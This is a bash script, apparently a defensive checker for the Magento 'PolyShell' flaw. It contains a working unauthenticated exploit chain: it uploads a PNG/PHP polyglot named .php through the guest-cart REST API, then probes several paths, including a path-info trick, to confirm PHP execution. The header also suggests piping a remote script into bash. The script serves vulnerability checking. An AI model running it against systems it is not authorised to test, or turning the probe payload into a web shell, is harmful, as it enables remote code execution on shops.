|
#!/usr/bin/env bash |
|
# ============================================================================= |
|
# Magento PolyShell Vulnerability Checker (CVE-2025-XXXXX) |
|
# Usage: ./magento_polyshell_check.sh YOUR-STORE.com [SKU] |
|
# curl -s https://gist.githubusercontent.com/0m3r/4eb8b15ced21033f19790d133a0c53e5/raw/15d3718cfff2990266a6399554d8f04c4318f4d2/checker.sh | bash -s -- YOUR-STORE.com [SKU] |
|
# ============================================================================= |
|
|
|
set -euo pipefail |
|
|
|
RED='\033[0;31m' |
|
GREEN='\033[0;32m' |
|
YELLOW='\033[1;33m' |
|
BLUE='\033[0;34m' |
|
CYAN='\033[0;36m' |
|
BOLD='\033[1m' |
|
NC='\033[0m' |
|
|
|
if [[ $# -lt 1 ]]; then |
|
echo "Usage: $0 YOUR-STORE.com [SKU]" |
|
echo " SKU is optional — script will try to discover it automatically" |
|
exit 1 |
|
fi |
|
|
|
if ! command -v python3 &>/dev/null; then |
|
echo -e "${RED}[ERROR] python3 is required but not found.${NC}" |
|
exit 1 |
|
fi |
|
|
|
HOST="${1}" |
|
MANUAL_SKU="${2:-}" |
|
|
|
# ============================================================================= |
|
# STEP 0: Detect protocol + web server |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${BLUE}${BOLD}=============================================${NC}" |
|
echo -e "${BLUE}${BOLD} Magento PolyShell Checker — ${HOST}${NC}" |
|
echo -e "${BLUE}${BOLD}=============================================${NC}" |
|
echo "" |
|
echo -e "${YELLOW}[0/5] Detecting protocol and web server...${NC}" |
|
|
|
if curl -sfL --max-time 5 -X POST \ |
|
"https://${HOST}/rest/V1/guest-carts" \ |
|
-H 'Content-Type: application/json' -o /dev/null 2>/dev/null; then |
|
BASE_URL="https://${HOST}" |
|
else |
|
BASE_URL="http://${HOST}" |
|
fi |
|
echo -e " Protocol : ${BASE_URL}" |
|
|
|
SERVER_HEADER=$(curl -skI --max-time 5 "${BASE_URL}/" \ |
|
| grep -i "^server:" | head -1 | awk '{print $2}' | tr -d '\r' || true) |
|
|
|
WEB_SERVER="unknown" |
|
if echo "$SERVER_HEADER" | grep -qi "nginx"; then |
|
WEB_SERVER="nginx" |
|
elif echo "$SERVER_HEADER" | grep -qi "apache\|httpd"; then |
|
WEB_SERVER="apache" |
|
elif echo "$SERVER_HEADER" | grep -qi "litespeed"; then |
|
WEB_SERVER="litespeed" |
|
fi |
|
|
|
echo -e " Server : ${SERVER_HEADER:-unknown}" |
|
echo -e " Detected : ${CYAN}${WEB_SERVER}${NC}" |
|
|
|
# ============================================================================= |
|
# STEP 1: Create guest cart |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${YELLOW}[1/5] Creating guest cart...${NC}" |
|
CART_ID=$(curl -sfL -X POST \ |
|
"${BASE_URL}/rest/V1/guest-carts" \ |
|
-H 'Content-Type: application/json' | tr -d '"') |
|
|
|
if [[ -z "$CART_ID" ]]; then |
|
echo -e "${RED}[ERROR] Could not create guest cart. Is the URL correct?${NC}" |
|
exit 1 |
|
fi |
|
echo -e " Cart ID : ${CART_ID}" |
|
|
|
# ============================================================================= |
|
# STEP 2: Get a SKU |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${YELLOW}[2/5] Fetching product SKU...${NC}" |
|
|
|
if [[ -n "$MANUAL_SKU" ]]; then |
|
SKU="$MANUAL_SKU" |
|
echo -e " SKU (manual): ${SKU}" |
|
else |
|
SKU="" |
|
|
|
SKU=$(curl -sfL \ |
|
"${BASE_URL}/rest/default/V1/products?searchCriteria[pageSize]=1&searchCriteria[filter_groups][0][filters][0][field]=status&searchCriteria[filter_groups][0][filters][0][value]=1&searchCriteria[filter_groups][0][filters][0][condition_type]=eq" \ |
|
-H 'Content-Type: application/json' \ |
|
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['items'][0]['sku'])" 2>/dev/null || true) |
|
|
|
if [[ -z "$SKU" ]]; then |
|
SKU=$(curl -sfL \ |
|
"${BASE_URL}/rest/V1/products?searchCriteria[pageSize]=1" \ |
|
-H 'Content-Type: application/json' \ |
|
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['items'][0]['sku'])" 2>/dev/null || true) |
|
fi |
|
|
|
if [[ -z "$SKU" ]]; then |
|
SKU=$(curl -sfL -X POST \ |
|
"${BASE_URL}/graphql" \ |
|
-H 'Content-Type: application/json' \ |
|
-d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}' \ |
|
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['data']['products']['items'][0]['sku'])" 2>/dev/null || true) |
|
fi |
|
|
|
if [[ -z "$SKU" ]]; then |
|
echo -e "${RED}[ERROR] Could not auto-discover SKU.${NC}" |
|
echo -e "${YELLOW} Pass SKU manually: $0 ${HOST} YOUR-SKU${NC}" |
|
exit 1 |
|
fi |
|
|
|
echo -e " SKU (auto): ${SKU}" |
|
fi |
|
|
|
# ============================================================================= |
|
# STEP 3: Build polyglot payload + upload |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${YELLOW}[3/5] Uploading polyglot payload...${NC}" |
|
|
|
PAYLOAD=$(python3 -c " |
|
import base64 |
|
png = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==') |
|
php = b\"<?php echo 'Vulnerable'; ?>\" |
|
print(base64.b64encode(png + php).decode()) |
|
") |
|
|
|
# FIX Bug 2: compute PREFIX/PREFIX2 right after FILENAME is set |
|
FILENAME="polyshell_check_$$.php" |
|
PREFIX="${FILENAME:0:1}" |
|
PREFIX2="${FILENAME:1:1}" |
|
|
|
echo -e " Filename : ${FILENAME}" |
|
echo -e " Size : $(echo -n "$PAYLOAD" | wc -c) bytes (base64)" |
|
|
|
FILE_URL="${BASE_URL}/pub/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}" |
|
ALT_FILE_URL="${BASE_URL}/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}" |
|
|
|
UPLOAD_RESPONSE=$(curl -sL -X POST \ |
|
"${BASE_URL}/rest/V1/guest-carts/${CART_ID}/items" \ |
|
-H 'Content-Type: application/json' \ |
|
-d "{ |
|
\"cartItem\": { |
|
\"sku\": \"${SKU}\", |
|
\"qty\": 1, |
|
\"quote_id\": \"${CART_ID}\", |
|
\"product_option\": { |
|
\"extension_attributes\": { |
|
\"custom_options\": [{ |
|
\"option_id\": \"99999\", |
|
\"option_value\": \"file\", |
|
\"extension_attributes\": { |
|
\"file_info\": { |
|
\"base64_encoded_data\": \"${PAYLOAD}\", |
|
\"type\": \"image/png\", |
|
\"name\": \"${FILENAME}\" |
|
} |
|
} |
|
}] |
|
} |
|
} |
|
} |
|
}" 2>/dev/null || true) |
|
|
|
echo -e " Response : ${UPLOAD_RESPONSE:0:120}..." |
|
|
|
# --- Analyse upload response --- |
|
# FIX Bug 1: detect HTML/Ignition error page FIRST, then verify file on disk |
|
UPLOAD_STATUS="unknown" |
|
|
|
if echo "$UPLOAD_RESPONSE" | grep -qi "<!doctype\|<html\|ErrorException\|Ignition\|ignite("; then |
|
# Server returned HTML — file may still have been written to disk before the error |
|
DISK_CHECK=$(curl -sk -o /tmp/poly_disk_chk.txt -w "%{http_code}" \ |
|
"${ALT_FILE_URL}" 2>/dev/null || echo "000") |
|
DISK_BODY=$(cat /tmp/poly_disk_chk.txt 2>/dev/null || true) |
|
rm -f /tmp/poly_disk_chk.txt |
|
|
|
if [[ "$DISK_CHECK" == "200" ]] || \ |
|
echo "$DISK_BODY" | xxd 2>/dev/null | grep -q "8950 4e47"; then |
|
UPLOAD_STATUS="saved_cart_error" |
|
else |
|
PUB_CHECK=$(curl -sk -o /dev/null -w "%{http_code}" "${FILE_URL}" 2>/dev/null || echo "000") |
|
if [[ "$PUB_CHECK" == "200" ]]; then |
|
UPLOAD_STATUS="saved_cart_error" |
|
else |
|
UPLOAD_STATUS="error_html" |
|
fi |
|
fi |
|
elif echo "$UPLOAD_RESPONSE" | grep -q "quote_path\|fullpath\|order_path"; then |
|
UPLOAD_STATUS="saved" |
|
elif echo "$UPLOAD_RESPONSE" | grep -qi \ |
|
"You need to choose options\|choose options"; then |
|
UPLOAD_STATUS="saved_cart_error" |
|
elif echo "$UPLOAD_RESPONSE" | grep -qi \ |
|
"base64\|invalid\|not valid\|image content"; then |
|
UPLOAD_STATUS="rejected_base64" |
|
elif echo "$UPLOAD_RESPONSE" | grep -qi \ |
|
"forbidden characters\|invalid.*name"; then |
|
UPLOAD_STATUS="rejected_filename" |
|
elif echo "$UPLOAD_RESPONSE" | grep -qi \ |
|
"mime\|not supported\|image.*type"; then |
|
UPLOAD_STATUS="rejected_mime" |
|
elif [[ -z "$UPLOAD_RESPONSE" ]]; then |
|
UPLOAD_STATUS="empty" |
|
fi |
|
|
|
echo -e " Upload : ${CYAN}${UPLOAD_STATUS}${NC}" |
|
|
|
# ============================================================================= |
|
# STEP 4: Web server behaviour checks |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${YELLOW}[4/5] Running web server checks (${WEB_SERVER})...${NC}" |
|
|
|
# Check 1: Direct access via /pub/media/ |
|
HTTP_DIRECT=$(curl -sL -o /tmp/poly_resp.txt -w "%{http_code}" \ |
|
"${FILE_URL}" 2>/dev/null || echo "000") |
|
BODY_DIRECT=$(cat /tmp/poly_resp.txt 2>/dev/null || true) |
|
rm -f /tmp/poly_resp.txt |
|
|
|
# Check 2: Path info trick (nginx <2.3 / non-stock) |
|
HTTP_PATHINFO=$(curl -sk -o /dev/null -w "%{http_code}" \ |
|
"${FILE_URL}/index.php" 2>/dev/null || echo "000") |
|
|
|
# Check 3: index.php prefix |
|
HTTP_IDXPREFIX=$(curl -sk -o /dev/null -w "%{http_code}" \ |
|
"${BASE_URL}/index.php/pub/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}" \ |
|
2>/dev/null || echo "000") |
|
|
|
# FIX Bug 4: Alt /media/ path — also read body for PNG magic bytes detection |
|
HTTP_ALT=$(curl -sk -o /tmp/poly_alt.txt -w "%{http_code}" \ |
|
"${ALT_FILE_URL}" 2>/dev/null || echo "000") |
|
BODY_ALT=$(cat /tmp/poly_alt.txt 2>/dev/null || true) |
|
rm -f /tmp/poly_alt.txt |
|
|
|
ALT_FILE_ACCESSIBLE=false |
|
if [[ "$HTTP_ALT" == "200" ]] || \ |
|
echo "$BODY_ALT" | xxd 2>/dev/null | grep -q "8950 4e47"; then |
|
ALT_FILE_ACCESSIBLE=true |
|
fi |
|
|
|
PHP_EXECUTED=false |
|
if echo "$BODY_DIRECT" | grep -q "Vulnerable"; then |
|
PHP_EXECUTED=true |
|
fi |
|
# Also check PHP execution via alt path |
|
if echo "$BODY_ALT" | grep -q "Vulnerable"; then |
|
PHP_EXECUTED=true |
|
fi |
|
|
|
ALT_LABEL="" |
|
if ${ALT_FILE_ACCESSIBLE}; then |
|
ALT_LABEL=" [FILE ACCESSIBLE]" |
|
fi |
|
|
|
echo -e " Direct access : HTTP ${HTTP_DIRECT}" |
|
echo -e " Path-info trick : HTTP ${HTTP_PATHINFO} (file.php/index.php)" |
|
echo -e " index.php prefix : HTTP ${HTTP_IDXPREFIX} (/index.php/pub/media/...)" |
|
echo -e " Alt /media/ path : HTTP ${HTTP_ALT}${ALT_LABEL}" |
|
echo -e " PHP executed : $(${PHP_EXECUTED} && echo -e "${RED}YES${NC}" || echo -e "${GREEN}NO${NC}")" |
|
|
|
# ============================================================================= |
|
# STEP 5: Determine vulnerability level |
|
# ============================================================================= |
|
echo "" |
|
echo -e "${YELLOW}[5/5] Analysing results...${NC}" |
|
echo "" |
|
echo -e "${BLUE}${BOLD}=============================================${NC}" |
|
echo -e "${BLUE}${BOLD} RESULT ${NC}" |
|
echo -e "${BLUE}${BOLD}=============================================${NC}" |
|
echo "" |
|
|
|
# --- CRITICAL: PHP executed --- |
|
if ${PHP_EXECUTED}; then |
|
echo -e "${RED}${BOLD}╔══════════════════════════════════════════╗${NC}" |
|
echo -e "${RED}${BOLD}║ CRITICAL — RCE CONFIRMED ║${NC}" |
|
echo -e "${RED}${BOLD}║ PHP code executed on the server! ║${NC}" |
|
echo -e "${RED}${BOLD}╚══════════════════════════════════════════╝${NC}" |
|
echo "" |
|
echo -e " ${RED}▶ URL : ${FILE_URL}${NC}" |
|
echo -e " ${RED}▶ Server : ${WEB_SERVER}${NC}" |
|
echo -e " ${RED}▶ Upload : ${UPLOAD_STATUS}${NC}" |
|
echo "" |
|
echo -e " ${RED}Patch immediately!${NC}" |
|
echo -e " ${RED}See: https://sansec.io/research/magento-polyshell${NC}" |
|
|
|
# FIX Bug 5: HIGH also triggers when alt path is accessible |
|
elif ( [[ "$HTTP_DIRECT" == "200" ]] || ${ALT_FILE_ACCESSIBLE} ) && ! ${PHP_EXECUTED}; then |
|
echo -e "${RED}╔══════════════════════════════════════════╗${NC}" |
|
echo -e "${RED}║ HIGH — File uploaded and accessible ║${NC}" |
|
echo -e "${RED}║ PHP NOT executed but file is readable ║${NC}" |
|
echo -e "${RED}║ XSS / source disclosure risk! ║${NC}" |
|
echo -e "${RED}╚══════════════════════════════════════════╝${NC}" |
|
echo "" |
|
if [[ "$HTTP_DIRECT" == "200" ]]; then |
|
echo -e " ${YELLOW}▶ URL (pub) : ${FILE_URL}${NC}" |
|
fi |
|
if ${ALT_FILE_ACCESSIBLE}; then |
|
echo -e " ${YELLOW}▶ URL (alt) : ${ALT_FILE_URL}${NC}" |
|
fi |
|
echo -e " ${YELLOW}▶ Server : ${WEB_SERVER}${NC}" |
|
echo "" |
|
echo -e " ${YELLOW}Apply web server hardening + PHP-level patch!${NC}" |
|
|
|
# FIX Bug 3: MEDIUM also covers error_html (file written before server error) |
|
elif [[ "$UPLOAD_STATUS" == "saved" || \ |
|
"$UPLOAD_STATUS" == "saved_cart_error" || \ |
|
"$UPLOAD_STATUS" == "error_html" ]]; then |
|
echo -e "${YELLOW}╔══════════════════════════════════════════╗${NC}" |
|
echo -e "${YELLOW}║ MEDIUM — File written to disk ║${NC}" |
|
echo -e "${YELLOW}║ Web server blocks HTTP access ✅ ║${NC}" |
|
echo -e "${YELLOW}║ No RCE via HTTP — but file IS on disk ║${NC}" |
|
echo -e "${YELLOW}╚══════════════════════════════════════════╝${NC}" |
|
echo "" |
|
# FIX Bug 3: note for both saved_cart_error and error_html |
|
if [[ "$UPLOAD_STATUS" == "saved_cart_error" || "$UPLOAD_STATUS" == "error_html" ]]; then |
|
echo -e " ${CYAN}▶ Note: Server returned error/HTML page AFTER file was written to disk${NC}" |
|
echo -e " ${CYAN} (classic PolyShell race — file written before quote/cart save)${NC}" |
|
fi |
|
echo "" |
|
echo -e " ${YELLOW}Web server vectors blocked:${NC}" |
|
if [[ "$WEB_SERVER" == "nginx" ]]; then |
|
echo -e " $([ "$HTTP_DIRECT" == "404" ] || [ "$HTTP_DIRECT" == "403" ] \ |
|
&& echo "${GREEN} ✅ Direct access : blocked${NC}" \ |
|
|| echo "${RED} ❌ Direct access : NOT blocked (HTTP ${HTTP_DIRECT})${NC}")" |
|
echo -e " $([ "$HTTP_PATHINFO" == "404" ] || [ "$HTTP_PATHINFO" == "403" ] \ |
|
&& echo "${GREEN} ✅ Path-info trick : blocked${NC}" \ |
|
|| echo "${RED} ❌ Path-info trick : NOT blocked (HTTP ${HTTP_PATHINFO})${NC}")" |
|
echo -e " $([ "$HTTP_IDXPREFIX" == "404" ] || [ "$HTTP_IDXPREFIX" == "403" ] \ |
|
&& echo "${GREEN} ✅ index.php prefix : blocked${NC}" \ |
|
|| echo "${RED} ❌ index.php prefix : NOT blocked (HTTP ${HTTP_IDXPREFIX})${NC}")" |
|
# FIX Bug 4: use ALT_FILE_ACCESSIBLE for alt path check |
|
echo -e " $(! ${ALT_FILE_ACCESSIBLE} \ |
|
&& echo "${GREEN} ✅ Alt /media/ path : blocked${NC}" \ |
|
|| echo "${RED} ❌ Alt /media/ path : NOT blocked (HTTP ${HTTP_ALT})${NC}")" |
|
elif [[ "$WEB_SERVER" == "apache" ]]; then |
|
echo -e " ${CYAN} ▶ Apache: ensure php_flag engine 0 is set for pub/media${NC}" |
|
fi |
|
echo "" |
|
echo -e " ${YELLOW}▶ Apply PHP-level patch to prevent file upload entirely!${NC}" |
|
echo -e " ${YELLOW} See: https://sansec.io/research/magento-polyshell${NC}" |
|
|
|
# --- PROTECTED: upload rejected at PHP level --- |
|
elif [[ "$UPLOAD_STATUS" == "rejected_base64" || \ |
|
"$UPLOAD_STATUS" == "rejected_filename" || \ |
|
"$UPLOAD_STATUS" == "rejected_mime" ]]; then |
|
echo -e "${GREEN}╔══════════════════════════════════════════╗${NC}" |
|
echo -e "${GREEN}║ PROTECTED — Upload rejected at PHP ✅ ║${NC}" |
|
echo -e "${GREEN}║ Store appears patched ║${NC}" |
|
echo -e "${GREEN}╚══════════════════════════════════════════╝${NC}" |
|
echo "" |
|
echo -e " ${GREEN}▶ Rejection reason: ${UPLOAD_STATUS}${NC}" |
|
|
|
# --- UNKNOWN --- |
|
else |
|
echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}" |
|
echo -e "${CYAN}║ UNKNOWN — Could not determine status ║${NC}" |
|
echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}" |
|
echo "" |
|
echo -e " ${CYAN}▶ HTTP direct : ${HTTP_DIRECT}${NC}" |
|
echo -e " ${CYAN}▶ Upload : ${UPLOAD_STATUS}${NC}" |
|
echo -e " ${CYAN}▶ Check manually: ${FILE_URL}${NC}" |
|
fi |
|
|
|
echo "" |
|
echo -e "${BLUE}=============================================${NC}" |
|
echo -e "${CYAN}Scan server for existing shells:${NC}" |
|
echo -e "${YELLOW} find pub/media/custom_options/ -type f \\( -name '*.php' -o -name '*.phtml' -o -name '*.phar' \\)${NC}" |
|
echo -e "${BLUE}=============================================${NC}" |
|
echo "" |
Verification II
After applying patches, test that file upload is blocked:
Expected result after patching: HTTP 400 with error message about disallowed extension or invalid option.